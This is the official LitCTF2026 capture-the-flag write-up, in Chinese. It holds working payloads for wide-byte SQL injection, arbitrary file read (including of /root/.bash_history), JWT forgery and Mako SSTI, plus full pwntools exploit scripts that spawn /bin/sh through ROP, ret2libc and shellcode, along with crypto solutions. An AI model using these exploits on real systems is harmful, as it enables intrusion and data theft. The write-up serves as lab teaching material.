LitCTF2026 官方WP

前言

题解来源:探姬老师

源码已开源:https://github.com/ProbiusOfficial/LitCTF2026

->WEB方向

lit_ezsql

本项目为一道宽字节注入(GBK + addslashes)SQL 注入题目样例。

题目说明

  • 访问入口:/
  • 注入参数:id
  • 后端使用 addslashes 风格的转义处理输入
  • 数据库连接使用 GBK 编码执行查询
  • 目标:通过宽字节注入绕过转义,读取独立表 flag_store.flag

运行方式

cd LitCTF-ezsql
docker compose up --build

访问:http://127.0.0.1:8081

本题已调整为单容器部署,页面中未保留注入提示,适合平台环境下直接交付。

难点提示

GBK 编码下,某些双字节字符可以令 \ 作为字符的一部分出现,从而绕过 addslashes 对单引号的转义。

示例攻击思路:

  • 利用 id 参数构造 GBK 宽字节字符,例如 %DF%5C
  • 形成语句闭合并注入 UNION SELECT ... FROM flag_store

使用示例

在浏览器地址栏或攻击工具中直接访问:

http://127.0.0.1:8081/query?id=%DF%5C%27+UNION+SELECT+1,flag,1,1,1+FROM+flag_store--+

如果希望调试 SQL 语句,可追加 &debug=1

Flag 存储

flag_store 表中包含目标 Flag。

核心 payload 如下,%DF%5C 在 GBK 下组成宽字节吞掉反斜杠,后面的单引号重新闭合字符串。

http://<host>/query?id=%DF%5C%27+UNION+SELECT+1,flag,1,1,1+FROM+flag_store--+

Northbridge Document Hub

这题是登录态 + kkFileView 兼容接口任意文件读取。登录页引用的 portal.js 里有一段 Base64 种子,解码后就是弱凭据。

echo cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2 | base64 -d
# researcher:Research#2026

登录后访问 /kkfileview/getCorsFile,参数 urlPath 会被 Base64 解码后交给 KkPathResolver。代码意图是把非缓存目录路径强制拼到 /opt/kkfileview/cache/parsed 下,但 Paths.get(CACHE_ROOT).resolve(candidate) 遇到绝对路径时会保留 candidate 本身,导致可以读取任意绝对路径。

package com.ctf.lab.util;

import java.nio.charset.StandardCharsets;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;

public class KkPathResolver {
    private static final String CACHE_ROOT = "/opt/kkfileview/cache/parsed";

    public Path resolve(String encodedSource) {
        String decoded = new String(Base64.getDecoder().decode(encodedSource), StandardCharsets.UTF_8);

        // Compatible with legacy kkFileView callback style:
        // file:///opt/kkfileview/cache/parsed/report.zip?fullfilename=report.zip
        String normalized = decoded.replace("\\", "/");
        int queryIdx = normalized.indexOf('?');
        if (queryIdx >= 0) {
            normalized = normalized.substring(0, queryIdx);
        }
        if (normalized.startsWith("file://")) {
            normalized = normalized.substring("file://".length());
        }

        Path candidate = Paths.get(normalized).normalize();

        // Intended hardening: non-cache paths are forced under cache root.
        // Vulnerability: when candidate is absolute (e.g. /root/.bash_history), resolve() keeps it unchanged.
        if (!candidate.toString().contains("/opt/kkfileview/cache/")) {
            candidate = Paths.get(CACHE_ROOT).resolve(candidate).normalize();
        }

        return candidate;
    }
}

先读取 /root/.bash_history,里面会泄露 kkFileView 缓存 zip 的文件名和路径。

curl -i -c c.txt -d 'username=researcher&password=Research%232026' http://<host>/login
curl -b c.txt 'http://<host>/kkfileview/getCorsFile?urlPath=L3Jvb3QvLmJhc2hfaGlzdG9yeQ=='

历史命令里能看到 q1_finance_report_2026.zip 位于 /opt/kkfileview/cache/parsed。继续用同一接口下载 zip,然后解压 flag.txt。

curl -b c.txt -o q1.zip 'http://<host>/kkfileview/getCorsFile?urlPath=ZmlsZTovLy9vcHQva2tmaWxldmlldy9jYWNoZS9wYXJzZWQvcTFfZmluYW5jZV9yZXBvcnRfMjAyNi56aXA/ZnVsbGZpbGVuYW1lPXExX2ZpbmFuY2VfcmVwb3J0XzIwMjYuemlw'
unzip -p q1.zip flag.txt
# 本地 compose 默认 flag: flag{kkfileview_audit_read_history_then_download}

华辰企业服务运营平台

1. 信息收集

访问 /actuator 可见已暴露大量端点,重点关注:

  • /actuator/mappings
  • /actuator/heapdump
  • /actuator/env
  • /actuator/beans

/actuator/mappings 能发现业务接口较多,其中 /api/admin/audit/list 名称明显偏管理侧。

2. heapdump 泄露 Shiro 关键参数

下载 heapdump 后检索关键字符串,可拿到:

  • lab.shiro.key-b64=<...>
  • lab.shiro.alg-mode=GCM

说明 rememberMe Cookie 使用 Shiro AES-GCM 模式。

3. 利用 Shiro rememberMe 反序列化拿第一段 flag

使用泄露的 key + GCM 模式构造 rememberMe 反序列化 payload,执行命令:

cat /flag_part1.txt

得到 flag 前半段。

4. 垂直越权拿第二段 flag

普通用户登录(前端仅公开用户名 user)后,直接请求:

GET /api/admin/audit/list

接口仅校验登录态,未校验 admin 角色,返回 items 列表,其中 legacy note 字段包含 flag 后半段。

5. 拼接

将两段按顺序拼接得到完整 flag。

lit_reverse_my_web

题目概述

本题是一个用 Go 编写的简易「管理系统」:支持注册与登录,鉴权采用 JWT(HS256)。Flag 仅对 roleadmin 的请求开放(GET /flag)。普通用户注册后角色固定为 user,无法通过正常业务路径提升为管理员,因此需要 从服务端二进制中恢复 JWT 签名密钥,再 伪造 role=admin 的 JWT 访问受保护接口。

解题思路总览

  1. Web 侧确认:注册、登录后携带 Cookie(token)或 Authorization: Bearer,访问 /flag 会得到 403(需要管理员权限),说明必须改 JWT 中的 role
  2. 逆向侧:对下发的 server 二进制做静态分析,找到 JWT 密钥的生成逻辑(简单 单字节 XOR 混淆),还原 32 字节 HMAC 密钥
  3. 利用:用还原出的密钥对 JWT 进行 HS256 签名,在 Payload 中写入 role: "admin" 及与服务端一致的其它声明,请求 GET /flag 即可拿到动态 Flag。

一、Web 行为

接口说明
POST /register创建用户,密码经 bcrypt 存储,角色固定为 user
POST /login校验成功后签发 JWT,并通过 HttpOnly Cookie token 返回(也可用 JSON API 取 token)。
GET /flag校验 JWT;仅当 role == "admin" 时读取容器内 /flag 并返回内容。

结论:仅靠「自己注册的用户」登录,JWT 里永远是 user,无法直接读 Flag。

二、逆向:恢复签名密钥

2.1 定位线索

  • 程序使用 Go 编写,发行版通常带 -s -w,符号被裁掉,但 .rodata 中的常量数组 仍可被搜索到。
  • 在 IDA / Ghidra / Binary Ninja 中搜索与 JWT / HS256 相关的字符串,或搜索 32 字节连续数据,结合反汇编可看到对一段固定长度缓冲逐字节做 异或 再参与签名。

2.2 算法形态(本题设计)

密钥在运行时被还原为 32 字节,形式为:

  • 二进制内嵌 混淆后的字节序列 encKey(长度 32)。
  • 使用 单字节掩码 xorMask(本题为 0x5A)逐字节异或还原:
key[i] = encKey[i] ^ xorMask

选手在逆向中应能直接读出 encKey 的 32 个字节xorMask 常量,本地用任意脚本还原 key 即可。

2.3 还原示例(Python)

enc = bytes([
    0x28, 0x17, 0x2d, 0x05, 0x68, 0x6a, 0x68, 0x6c,
    0x05, 0x36, 0x33, 0x2e, 0x39, 0x2e, 0x3c, 0x05,
    0x30, 0x2d, 0x2e, 0x05, 0x29, 0x3f, 0x39, 0x28,
    0x3f, 0x2e, 0x05, 0x31, 0x3f, 0x23, 0x7b, 0x7b,
])
xor_mask = 0x5A
key = bytes(b ^ xor_mask for b in enc)
assert len(key) == 32
# key 为 32 字节 HS256 密钥材料(ASCII 可打印串)

说明:若出题人更换了 encKeyxorMask,以上十六进制应以你实际逆向出的数据为准;思路不变。

三、伪造 JWT 并取 Flag

3.1 声明(Claims)要点

服务端使用 github.com/golang-jwt/jwt/v5,自定义结构包含:

  • role(string):必须设为 admin
  • 嵌入 RegisteredClaims,至少需满足解析与过期校验:
  • sub:主题(用户名),任意合法字符串即可(例如 pwn)。
  • iss:签发者,须为 reverseMyWeb(与题目实现一致)。
  • iat / exp:签发时间与过期时间(Unix 秒),exp 须晚于当前时间。

算法:HS256,密钥为上一节还原的 32 字节 key

3.2 使用 PyJWT 生成 Token

pip install pyjwt
import time
import jwt

key = bytes(b ^ 0x5A for b in enc)  # enc 为逆向得到的 32 字节混淆表;或直接使用还原后的 key
now = int(time.time())
payload = {
    "sub": "pwn",
    "role": "admin",
    "iss": "reverseMyWeb",
    "iat": now,
    "exp": now + 3600,
}
token = jwt.encode(payload, key, algorithm="HS256")
print(token)

3.3 请求 Flag

curl -s -H "Authorization: Bearer <上一步输出的 JWT>" http://<题目地址>/flag

若使用浏览器里登录拿到的 Cookie,也可在开发者工具中把 Cookie token 替换为伪造的 JWT 再访问 /flag(注意 HttpOnly 场景下需用插件或改由 curl 带 Authorization)。

默认返回 纯文本 为平台注入的 Flag(由容器启动脚本写入 /flag)。若请求头包含 Accept: application/json,则响应为 JSON:{"content":"<flag 内容>"}

FLAG / DASFLAG / GZCTF_FLAG 等环境变量对接方式见容器 docker-entrypoint.sh

四、小结

步骤内容
1确认普通用户无法通过注册获得 admin
2逆向二进制,得到 XOR 混淆表 + 掩码,还原 32 字节 HS256 密钥
3使用 HS256 签发含 role: adminiss: reverseMyWeb、有效 exp 的 JWT。
4GET /flag 携带 Authorization: Bearer(或替换 Cookie)获取 Flag。

本题考察 Go 二进制静态分析JWT 对称密钥伪造 的基础组合;密钥仅从 XOR 一层混淆中恢复,难度偏入门至中等。

lit_ezssti

题目是 Mako SSTI,常规 ${…} 回显被禁,ASCII 点号也被禁,后续还追加了 =、flag、[] 等字符限制。思路是不用 ${},改用 <% %> 执行 Python 语句,再通过 Mako 模板内部的 __M_writer 把结果写进输出缓冲。

open 和 read 不需要点号访问;/flag 与 read 字符串用 chr 拼出,避免直接出现敏感字面量。

<% __M_writer(getattr(open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)), chr(114)+chr(101)+chr(97)+chr(100))()) %>

__M_writer 不是公共 API,而是 Mako 编译模板时生成/注入的内部输出函数;本题环境可用,因此能在不写点号和 ${} 的情况下完成文件读取回显。

->PWN方向

lit_ropchain

题目描述

程序里的碎片散落一地,没有现成的钥匙能打开 shell 之门。 你需要像拼图大师一样,把一个个小小的代码碎片(gadgets)拼接起来, 先读取 “bin/sh” 到内存,再召唤 system 之力。

Hints:

  1. 程序里没有 /bin/sh 字符串,你需要自己把它写进内存(比如 bss 段)。
  2. read(0, buf, length) 可以帮你把输入写入指定地址,但需要控制 rdi、rsi、rdx 三个寄存器。
  3. 如果找不到 pop rdx; ret,试试 ROPgadget 找其他能控制 rdx 的 gadget(比如 __libc_csu_init 里的片段)。
  4. 这是一道练习 “链式 ROP” 的好题目:先用 read 写字符串,再调用 system。
  5. 你可以用 pwntools 的 ROP(elf) 对象自动搜索 gadget 并构建链。

exp.py:

import os
import time

from pwn import *

# context.log_level = 'debug'
context.arch = "amd64"


def pwn_connect(path):
    h = os.environ.get("PWN_HOST")
    if h:
        return remote(h, int(os.environ.get("PWN_PORT", "9999")))
    return process(path)


def maybe_verify(io):
    if os.environ.get("PWN_VERIFY") == "1":
        time.sleep(0.5)
        io.sendline(b"id")
        io.recvuntil(b"uid=", timeout=10)
        io.close()
        log.success("verify ok")
    else:
        io.interactive()


elf = ELF("./ropchain")
io = pwn_connect("./ropchain")

bss_buf = 0x403460
read_plt = elf.plt["read"]
system_plt = elf.plt["system"]

pop_rdi = 0x401166
pop_rsi = 0x40116B
pop_rdx = 0x401170
ret = 0x40101A

rbp = bss_buf

log.info(f"bss_buf: {hex(bss_buf)}")
log.info(f"read@plt: {hex(read_plt)}")
log.info(f"system@plt: {hex(system_plt)}")

offset = 64

payload = b"A" * offset
payload += p64(rbp)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss_buf)
payload += p64(pop_rdx)
payload += p64(0x10)
payload += p64(ret)
payload += p64(read_plt)
payload += p64(pop_rdi)
payload += p64(bss_buf)
payload += p64(ret)
payload += p64(system_plt)

io.sendlineafter(b"Input: ", payload)
time.sleep(0.3)
io.sendline(b"/bin/sh\x00")

maybe_verify(io)

lit_ret2text32

题目描述

欢迎来到 Pwn 的世界!这是一道最基础的32位栈溢出题目。 程序里藏着一扇后门,只要你能让程序”走错一步”,它就会为你打开 shell 之门。

Hints:

  1. 32位程序和64位程序最大的区别是什么?参数放在哪里?
  2. 在32位程序中,函数参数是放在栈上的,而不是寄存器里。
  3. 如果你要调用 system(“/bin/sh”),栈布局应该是:

[填充] + [system地址] + [system的返回地址(随意)] + [“/bin/sh”地址]

  1. checksec 查看保护,用 IDAobjdump 找地址。
  2. 尝试用 pwntools 的 cyclic 计算溢出偏移。
  3. 这是你的第一把钥匙,拿到 shell 后记得 cat flag

exp.py:

import os
import time

from pwn import *

# context.log_level = 'debug'
context.arch = "i386"


def pwn_connect(path):
    h = os.environ.get("PWN_HOST")
    if h:
        return remote(h, int(os.environ.get("PWN_PORT", "9999")))
    return process(path)


def maybe_verify(io):
    if os.environ.get("PWN_VERIFY") == "1":
        time.sleep(0.3)
        io.sendline(b"id")
        io.recvuntil(b"uid=", timeout=10)
        io.close()
        log.success("verify ok")
    else:
        io.interactive()


elf = ELF("./ret2text32")
io = pwn_connect("./ret2text32")

system_plt = elf.plt["system"]
bin_sh_addr = next(elf.search(b"/bin/sh"))
backdoor = elf.symbols["backdoor"]

log.info(f"system@plt: {hex(system_plt)}")
log.info(f"/bin/sh: {hex(bin_sh_addr)}")
log.info(f"backdoor: {hex(backdoor)}")

# vuln: lea -0x38(%ebp) -> buf; +4 saved ebp => 0x38+4 = 60 to saved EIP
offset = 60
payload = b"A" * offset + p32(backdoor)

io.sendlineafter(b"Input: ", payload)

maybe_verify(io)

lit_ret2syscall32

题目描述

这是一台32位的古老机器,没有 system(),没有 /bin/sh,连 libc 都沉默不语。 但每一个程序都能向内核祈祷——通过中断门 int 0x80。 你能唤醒这台机器最深层的系统调用之力吗?

Hints:

  1. 32位 Linux 的系统调用通过 int 0x80 触发。
  2. execve("/bin/sh", NULL, NULL) 的系统调用号是 11 (0xb)。
  3. 你需要控制 eax (syscall number), ebx (1st arg), ecx (2nd arg), edx (3rd arg)。
  4. 用 ROPgadget 搜索 pop eax, pop ebx, pop ecx, pop edxint 0x80
  5. 程序里没有 /bin/sh,你需要自己把它写进可写的内存段(比如 .data 或 bss)。
  6. mov dword ptr [edx], eax 这样的 gadget 可以帮助你写入内存。

exp.py:

import os
import time

from pwn import *

# context.log_level = 'debug'
context.arch = "i386"


def pwn_connect(path):
    h = os.environ.get("PWN_HOST")
    if h:
        return remote(h, int(os.environ.get("PWN_PORT", "9999")))
    return process(path)


def maybe_verify(io):
    if os.environ.get("PWN_VERIFY") == "1":
        time.sleep(0.3)
        io.sendline(b"id")
        io.recvuntil(b"uid=", timeout=10)
        io.close()
        log.success("verify ok")
    else:
        io.interactive()


elf = ELF("./ret2syscall32")
io = pwn_connect("./ret2syscall32")

pop_eax = elf.symbols["gadget_pop_eax"]
pop_ebx = elf.symbols["gadget_pop_ebx"]
pop_ecx_ebx = elf.symbols["gadget_pop_ecx_ebx"]
pop_edx = elf.symbols["gadget_pop_edx"]
mov_edx_eax = elf.symbols["gadget_mov_edx_eax"]
int_0x80 = elf.symbols["gadget_int_0x80"]
data_buf = elf.symbols["data_buf"]

log.info(f"data_buf: {hex(data_buf)}")

offset = 0x48 + 4

rop = b""
rop += p32(pop_edx)
rop += p32(data_buf)
rop += p32(pop_eax)
rop += b"/bin"
rop += p32(mov_edx_eax)
rop += p32(pop_edx)
rop += p32(data_buf + 4)
rop += p32(pop_eax)
rop += b"//sh"
rop += p32(mov_edx_eax)
rop += p32(pop_edx)
rop += p32(data_buf + 8)
rop += p32(pop_eax)
rop += p32(0)
rop += p32(mov_edx_eax)
rop += p32(pop_ebx)
rop += p32(data_buf)
rop += p32(pop_ecx_ebx)
rop += p32(0)
rop += p32(data_buf)
rop += p32(pop_ebx)
rop += p32(data_buf)
rop += p32(pop_edx)
rop += p32(0)
rop += p32(pop_eax)
rop += p32(0xB)
rop += p32(int_0x80)

payload = b"A" * offset + rop
io.sendlineafter(b"Input: ", payload)

maybe_verify(io)

lit_ret2shellcode

题目描述

这是一个古老的工坊,工匠们在这里直接在栈上刻写代码。 传说栈上的墨迹还未干涸,代码就能直接运行。 你能在这块可执行的栈上写下属于你的咒语,并让它执行吗?

Hints:

  1. 检查程序保护,你会发现一个”久违的朋友”——栈是可执行的。
  2. 当栈可执行时,我们不需要借用程序里已有的函数,可以直接执行自己写的机器码。
  3. 你可以用 pwntools 的 asm()shellcraft 生成 shellcode。
  4. 64位程序下,execve 的系统调用号是 59 (0x3b),你需要设置 rdi=”/bin/sh”,rsi=0,rdx=0,然后执行 syscall。
  5. 试着把 shellcode 布置在栈上,然后让返回地址指向它。

exp.py:

import os
import time

from pwn import *

# context.log_level = 'debug'
context.arch = "amd64"
context.os = "linux"


def pwn_connect(path):
    h = os.environ.get("PWN_HOST")
    if h:
        return remote(h, int(os.environ.get("PWN_PORT", "9999")))
    return process(path)


def maybe_verify(io):
    if os.environ.get("PWN_VERIFY") == "1":
        time.sleep(0.3)
        io.sendline(b"id")
        io.recvuntil(b"uid=", timeout=10)
        io.close()
        log.success("verify ok")
    else:
        io.interactive()


elf = ELF("./ret2shellcode")
io = pwn_connect("./ret2shellcode")

io.recvuntil(b"buf is at ")
buf_addr_str = io.recvuntil(b"\n", drop=True)
buf_addr = int(buf_addr_str, 16)
log.info(f"Leaked buf address: {hex(buf_addr)}")

shellcode = asm(shellcraft.amd64.linux.sh())
log.info(f"Shellcode length: {len(shellcode)} bytes")

offset = 0x70 + 8  # 112 + 8 = 120
payload = shellcode.ljust(offset, b"\x90") + p64(buf_addr)

io.sendlineafter(b"Leave your mark on the stack: ", payload)

maybe_verify(io)

lit_ret2libc

题目描述

这个程序里没有后门,但它调用了一些标准库函数。 当你无法直接找到 system() 或 /bin/sh 时,libc 就是你最好的朋友。 你能从程序的”记忆”中读取 libc 的秘密,并借用它的力量打开 shell 吗?

Hints:

  1. 这个程序没有 system() 函数,也没有 /bin/sh 字符串,所以 ret2text 行不通。
  2. 但程序调用了 puts(),而 puts 的真实地址存放在 GOT 表中,已经由 libc 填充。
  3. 你可以构造一个 ROP 链,调用 puts(puts@got) 来打印 puts 的真实地址,从而泄露 libc 基址。
  4. 泄露之后,别忘了让程序返回到 main() 再次运行,这样你能发送第二段 payload。
  5. 知道 libc 基址后,就能算出 system() 和 /bin/sh 在内存中的位置。
  6. 64位程序传参用寄存器:rdi 是第一个参数,需要 pop rdi; ret gadget。

exp.py:

import os
import time

from pwn import *

# context.log_level = 'debug'
context.arch = "amd64"


def pwn_connect(path):
    h = os.environ.get("PWN_HOST")
    if h:
        return remote(h, int(os.environ.get("PWN_PORT", "9999")))
    return process(path)


def maybe_verify(io):
    if os.environ.get("PWN_VERIFY") == "1":
        time.sleep(0.3)
        io.sendline(b"id")
        io.recvuntil(b"uid=", timeout=10)
        io.close()
        log.success("verify ok")
    else:
        io.interactive()


# Load the binary
elf = ELF("./ret2libc")
libc = ELF(os.environ.get("LIBC_PATH", "/lib/x86_64-linux-gnu/libc.so.6"))
io = pwn_connect("./ret2libc")

# Gadgets
pop_rdi = 0x4011B7  # pop rdi ; ret
ret = 0x40101A  # ret for stack alignment

rbp = 0x403420  # .bss section

leak_value = elf.symbols["leak_value"]
main_addr = elf.symbols["main"]
puts_got = elf.got["puts"]

log.info(f"pop_rdi: {hex(pop_rdi)}")
log.info(f"leak_value: {hex(leak_value)}")
log.info(f"main: {hex(main_addr)}")
log.info(f"puts@got: {hex(puts_got)}")

offset = 64

payload1 = b"A" * offset
payload1 += p64(rbp)
payload1 += p64(pop_rdi)
payload1 += p64(puts_got)
payload1 += p64(ret)
payload1 += p64(leak_value)
payload1 += p64(ret)
payload1 += p64(main_addr)

io.sendlineafter(b"Tell me your name: ", payload1)

io.recvuntil(b"Leak: ")
leaked_line = io.recvline().strip()
leaked_puts = int(leaked_line, 16)
log.info(f"Leaked puts@libc: {hex(leaked_puts)}")

libc_base = leaked_puts - libc.symbols["puts"]
log.info(f"Libc base: {hex(libc_base)}")

system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))

log.info(f"system@libc: {hex(system_addr)}")
log.info(f"/bin/sh@libc: {hex(binsh_addr)}")

payload2 = b"A" * offset
payload2 += p64(rbp)
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)
payload2 += p64(ret)
payload2 += p64(system_addr)

io.sendlineafter(b"Tell me your name: ", payload2)

maybe_verify(io)

lit_integer_overflow

题目描述

程序说它会读取你指定长度的数据,但这个长度检查真的安全吗? 当数学的边界被打破,栈上的秘密就将暴露无遗。 听说程序里藏着一个神秘的后门,你能找到它吗?

Hints:

  1. 注意观察 read_data 函数中的长度检查,思考有符号整数和无符号整数的区别。
  2. 当你可以控制读取长度时,栈上会发生什么?
  3. 程序中有一个 backdoor 函数,试着用栈溢出让程序”走错路”进入后门。
  4. 64位程序的返回地址覆盖需要填充 rbp (8字节)。

exp.py:

import os
import time

from pwn import *

# context.log_level = 'debug'
context.arch = "amd64"


def pwn_connect(path):
    h = os.environ.get("PWN_HOST")
    if h:
        return remote(h, int(os.environ.get("PWN_PORT", "9999")))
    return process(path)


def maybe_verify(io):
    if os.environ.get("PWN_VERIFY") == "1":
        time.sleep(0.3)
        io.sendline(b"id")
        io.recvuntil(b"uid=", timeout=10)
        io.close()
        log.success("verify ok")
    else:
        io.interactive()


# Load the binary
elf = ELF("./integer_overflow")
io = pwn_connect("./integer_overflow")

# Address of backdoor function
backdoor = elf.symbols["backdoor"]
# Stack alignment: amd64 Sys V requires RSP % 16 == 0 before call; one `ret` re-aligns after overflow.
rop = ROP(elf)
ret = rop.ret.address
log.info(f"backdoor address: {hex(backdoor)}")
log.info(f"ret gadget: {hex(ret)}")

# Send a negative size to bypass the check and cause massive overflow
io.sendlineafter(b"How many bytes do you want to read? (0-63): ", b"-1")

offset = 64 + 8  # buf size + saved rbp
payload = b"A" * offset + p64(ret) + p64(backdoor)

io.sendlineafter(b"Invalid size! But I'll still read it anyway...\n", payload)

maybe_verify(io)

->Crypto方向

lit_xor_two_story

这道题在考什么

一次性密码本(OTP) 要求:与明文等长的密钥/密钥流只能使用 一次。若用同一段密钥流 k 加密了两条明文 M_1M_2,就犯了「密钥复用」错误。此时两条密文会发生 异或可消去密钥 的现象,从而泄露两条明文的 异或差

本题里,第二条明文 M_2README 里完整公开;第一条 M_1 是 flag,未知。你手上有 c_1,c_2(十六进制在 output.txt),以及 M_2 的准确字节内容,目标是恢复 M_1

(有些变体会只给你 M_1 的前缀例如 litctf{,再用「已知明文」逐字节推 keystream;本题采用「整条 M_2 已知」,对新手更直接。)

一步一步的代数

加密可写成(逐字节异或,\oplus 表示 XOR):

c_1 = M_1 \oplus k,\qquad c_2 = M_2 \oplus k

注意 \oplus 满足结合律,且对任意 xx\oplus x=0

把两式异或:

c_1 \oplus c_2 = (M_1 \oplus k) \oplus (M_2 \oplus k)
= M_1 \oplus M_2 \oplus (k \oplus k)
= M_1 \oplus M_2

密钥 k 被消掉了。 于是你得到的是两条明文的异或,而不是某一条明文本身。

但题目还告诉你 完整的 M_2,所以:

M_1 = (c_1 \oplus c_2) \oplus M_2

计算顺序在实现里就是把三段字节逐字节异或;也可以先算 x = xor(c1,c2)m1 = xor(x, m2)

Python 里怎么写(思路)

  1. output.txtc1c2 的十六进制解码成 bytes(长度应各为 40)。
  2. 把 README 里的 M_2 原样写成 bytes 常量(注意引号、下划线、! 等,少一个字节都会错)。
  3. 计算:
x = bytes(a ^ b for a, b in zip(c1, c2))
m1 = bytes(u ^ v for u, v in zip(x, M2_KNOWN))
print(m1.decode())

标准库即可,无需第三方库。

为什么不用先求 k

你也可以先求 k = c_2 \oplus M_2,再算 M_1 = c_1 \oplus k。结果与上面等价。任选一种顺手的即可。

新手常见坑

  • M_2 抄错:必须与出题时字节串 完全一致(README 里那行,含两个 !,总长 40)。
  • 十六进制解码:用 bytes.fromhex(...),不要带 0x;注意一行里不要夹杂空格(除非你的解析逻辑允许)。
  • 把题当成要去破解随机密钥:关键是 代数消去 k,不是猜 RNG。

和「只知道 litctf{ 前缀」变体的关系

若某题只公开「第一段明文以 litctf{ 开头」,你可以用前缀与 c_1\oplus c_2 推出 M_1\oplus M_2 在那些位置上的字节,再 逐位 crib-drag 推断后续字符。本题不需要到这步,因为你已经拥有 整段 M_2

完整脚本在哪里

同级目录 solve.pyoutput.txt 读入 c1,c2 并写入常量 M2_KNOWN,打印 flag。

想扩展阅读

  • 维基:One-time pad — 为何「只用一次」至关重要。

lit_elgamal_handshake

这道题在考什么

ElGamal 加密里,私钥 x 必须保密:有了 x,任何人都能从密文恢复明文。本题模拟「日志误把 x 打印出来」——因此你不需要会算离散对数(不需要从 y=g^x 反推 x),题目已经白给 x 了。

读完应掌握:

  • ElGamal 密文 (c_1,c_2) 与明文 m(表示成整数)的关系;
  • 模运算下用「乘法逆元」消去一项;
  • pow(底, 指数, 模)pow(底, -指数, 模) 在 Python 里怎么求逆。

最小背景:ElGamal 在算什么

设公钥是 (p,g,y),其中 p 是大素数,g 是模 p 下的生成元(代码里会选合适的 g),且

y \equiv g^x \pmod p

这里 x 是私钥,保密。加密时选随机数 k,得到密文:

c_1 \equiv g^k \pmod p,\qquad c_2 \equiv m\cdot y^k \pmod p

其中明文 m 会先被编码成一个整数(本题里对应 bytes_to_long(flag)),且满足 0\le m < p

为什么泄露 x 就完了

攻击者目标是从 (c_1,c_2) 恢复 m

注意 y^k \equiv (g^x)^k \equiv g^{xk} \pmod p。而 c_1 \equiv g^k,所以

c_1^x \equiv (g^k)^x \equiv g^{kx} \equiv y^k \pmod p

也就是说:靠泄露的 x 和公开的 c_1,可以直接算出加密时用到的 y^k(模 p)。

再看 c_2 \equiv m\cdot y^k。若记 t \equiv y^k \pmod p,则

m \equiv c_2 \cdot t^{-1} \pmod p

其中 t^{-1} 表示 t 在模 p 下的乘法逆元,即满足 t\cdot t^{-1}\equiv 1\pmod p 的整数。

t = c_1^x 代入,得到标准写法:

m \equiv c_2 \cdot (c_1^x)^{-1} \pmod p

和 Python 一行代码的对应关系

综合上式,明文整数 m 可以写成:

m \equiv c_2 \cdot \bigl(\mathrm{pow}(c_1, x, p)\bigr)^{-1} \pmod p

在 Python 3.8+ 里,pow(a, b, p) 支持 b 为负数pow(c1, -x, p) 表示 \bigl(\mathrm{pow}(c_1,x,p)\bigr)^{-1}(在 c_1^xp 互素时可逆;本题场景下成立)。

因此核心就是:

m = c2 * pow(c1, -x, p) % p

最后用 Crypto.Util.number 里的 long_to_bytes(m) 把整数转回字节串,.decode() 得到可读 flag 字符串(若全是 ASCII)。

按步骤做(可当检查清单)

  1. output.txt 读出整数 p, g, y, c1, c2, x(注意题目里可能分行写)。
  2. 计算 m = c2 * pow(c1, -x, p) % p
  3. long_to_bytes(m),解码为字符串。
  4. 若解码报错或乱码,回头检查是否抄错数字、是否 % p 遗漏。

新手常见坑

  • 以为要算离散对数:本题不需要从 yxx 已在输出里。
  • pow% 顺序:对大整数应全程用带模的 pow,不要先算 c1**x 再取模(会慢且占内存)。
  • long_to_bytes 与长度:若 m 高位有 0,long_to_bytes 仍会给出正确字节序列;若 flag 前有噪声字节,多半是 m 算错。

完整脚本在哪里

仓库根目录同级下的 solve.pyoutput.txt 解析参数并打印 flag,可直接对照运行。

想扩展阅读

lit_rsa_neighbor

这道题在考什么

标准 RSA:公钥 (n,e),密文 c,满足 c \equiv m^e \pmod n,其中 m 是明文编码成的整数。若你能把 n 分解成 n=pq,就能算 \varphi(n)=(p-1)(q-1),再算私钥指数 d \equiv e^{-1}\pmod{\varphi(n)},最后 m \equiv c^d \pmod n

本题的特殊之处在于:pq 不是随便选的素数,而是 q 等于「从某个 p 出发连续按 下一个素数 走很多步」得到的结果。这样 pq 在数轴上仍然靠得很近,于是 n=pq 可以用 费马分解法(Fermat factorization) 快速分解,而不需要通用的大整数分解算法。

直觉:为什么要用费马

n=pqp,q 都很大但很接近,可以写 p=a-bq=a+b(差分与和的分解稍后由代数给出)。或者换个角度:p,q 都在 \sqrt{n} 附近。费马方法就是在 \lfloor\sqrt{n}\rfloor 附近找合适的整数 a,使得 a^2-n 是完全平方数。

费马分解在算什么(一步步推导)

希望找到整数 a,b 使得

n = a^2 - b^2 = (a-b)(a+b)

若令 p=a-bq=a+b,就有 n=pq

算法想法:

  1. a=\lfloor\sqrt{n}\rfloor+1(从比 \sqrt{n} 大一点的地方开始);
  2. 计算 D=a^2-n
  3. D 是完全平方数,设 b=\sqrt{D}(整数),则成功:n=(a-b)(a+b)
  4. 否则 a\leftarrow a+1,回到步骤 2。

为什么对本题有效?因为 p,q 很接近时,a=\frac{p+q}{2}\sqrt{n}=\sqrt{pq} 非常近,只需要很少的步数就能试到正确的 a。(严格论证需要更多数论,初学可先当「经验法则」。)

Python 3.8+ 用 math.isqrt(n)\lfloor\sqrt{n}\rfloor,再判断是否平方:isqrt(D)**2 == D

RSA 解密那一串公式是什么意思

已知分解 n=pq

  1. \varphi(n)=(p-1)(q-1)(两不同素数的欧拉函数);
  2. e\varphi(n) 互素时,存在 d 使得 ed\equiv 1\pmod{\varphi(n)}
  3. 欧拉定理告诉我们:若 \gcd(m,n)=1,则 m^{\varphi(n)}\equiv 1\pmod n,从而 c^d \equiv m^{ed} \equiv m\pmod n

实现上:

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)   # 模逆;即扩展欧几里得求 d
m = pow(c, d, n)

再用 long_to_bytes(m) 得到字节串 flag。

按步骤做(检查清单)

  1. output.txt 读出 n, c, e(通常为 e=65537)。
  2. 费马分解得到 p,q,确认 p * q == n
  3. phidm
  4. long_to_bytes(m).decode()

新手常见坑

  • 用试除从 2 开始除:对 1024 比特级别的 n 不可行;本题用费马是因为 p,q 很近
  • 分解后搞反 p,q:RSA 里只要两因子对即可,顺序无所谓。
  • pow(c, d, n) 的模:始终是 n,不是模 \varphi(n)\varphi(n) 只用来算 d

出题脚本在干什么(帮助理解题意)

